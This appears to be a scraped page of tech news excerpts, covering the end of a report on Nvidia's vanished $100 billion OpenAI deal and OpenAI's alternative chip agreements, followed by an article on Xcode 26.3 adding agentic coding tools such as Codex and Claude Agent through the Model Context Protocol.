In September, Bryn Talkington, managing partner at Requisite Capital Management, noted the circular nature of such investments to CNBC. “Nvidia invests $100 billion in OpenAI, which then OpenAI turns back and gives it back to Nvidia,” Talkington said. “I feel like this is going to be very virtuous for Jensen.”

Tech critic Ed Zitron has been critical of Nvidia’s circular investments for some time, which touch dozens of tech companies, including major players and startups. They are also all Nvidia customers.

“NVIDIA seeds companies and gives them the guaranteed contracts necessary to raise debt to buy GPUs from NVIDIA,” Zitron wrote on Bluesky last September, “Even though these companies are horribly unprofitable and will eventually die from a lack of any real demand.”

Chips from other places

Outside of sourcing GPUs from Nvidia, OpenAI has reportedly discussed working with startups Cerebras and Groq, both of which build chips designed to reduce inference latency. But in December, Nvidia struck a $20 billion licensing deal with Groq, which Reuters sources say ended OpenAI’s talks with Groq. Nvidia hired Groq’s founder and CEO Jonathan Ross along with other senior leaders as part of the arrangement.

In January, OpenAI announced a $10 billion deal with Cerebras instead, adding 750 megawatts of computing capacity for faster inference through 2028. Sachin Katti, who joined OpenAI from Intel in November to lead compute infrastructure, said the partnership adds “a dedicated low-latency inference solution” to OpenAI’s platform.

But OpenAI has clearly been hedging its bets. Beyond the Cerebras deal, the company struck an agreement with AMD in October for six gigawatts of GPUs and announced plans with Broadcom to develop a custom AI chip to wean itself off of Nvidia dependence. When those chips will be ready, however, is currently unknown.

Nvidia’s $100 billion OpenAI deal has seemingly vanished Read More »

Xcode 26.3 adds support for Claude, Codex, and other agentic tools via MCP

AI, Anthropic, Apple, Claude Agent, Codex, IDE, MCP, Model Context Protocol, openai, Xcode / 9u50fv / February 3, 2026

Apple has announced a new version of Xcode, the latest version of its integrated development environment (IDE) for building software for its own platforms, like the iPhone and Mac. The key feature of 26.3 is support for full-fledged agentic coding tools, like OpenAI’s Codex or Claude Agent, with a side panel interface for assigning tasks to agents with prompts and tracking their progress and changes.

This is achieved via Model Context Protocol (MCP), an open protocol that lets AI agents work with external tools and structured resources. Xcode acts as an MCP endpoint that exposes a bunch of machine-invocable interfaces and gives AI tools like Codex or Claude Agent access to a wide range of IDE primitives like file graph, docs search, project settings, and so on. While AI chat and workflows were supported in Xcode before, this release gives them much deeper access to the features and capabilities of Xcode.

This approach is notable because it means that even though OpenAI and Anthropic’s model integrations are privileged with a dedicated spot in Xcode’s settings, it’s possible to connect other tooling that supports MCP, which also allows doing some of this with models running locally.

Apple began its big AI features push with the release of Xcode 26, expanding on code completion using a local model trained by Apple that was introduced in the previous major release, and fully supporting a chat interface for talking with OpenAI’s ChatGPT and Anthropic’s Claude. Users who wanted more agent-like behavior and capabilities had to use third-party tools, which sometimes had limitations due to a lack of deep IDE access.

Xcode 26.3’s release candidate (the final beta, essentially) rolls out imminently, with the final release coming a little further down the line.

Xcode 26.3 adds support for Claude, Codex, and other agentic tools via MCP Read More »

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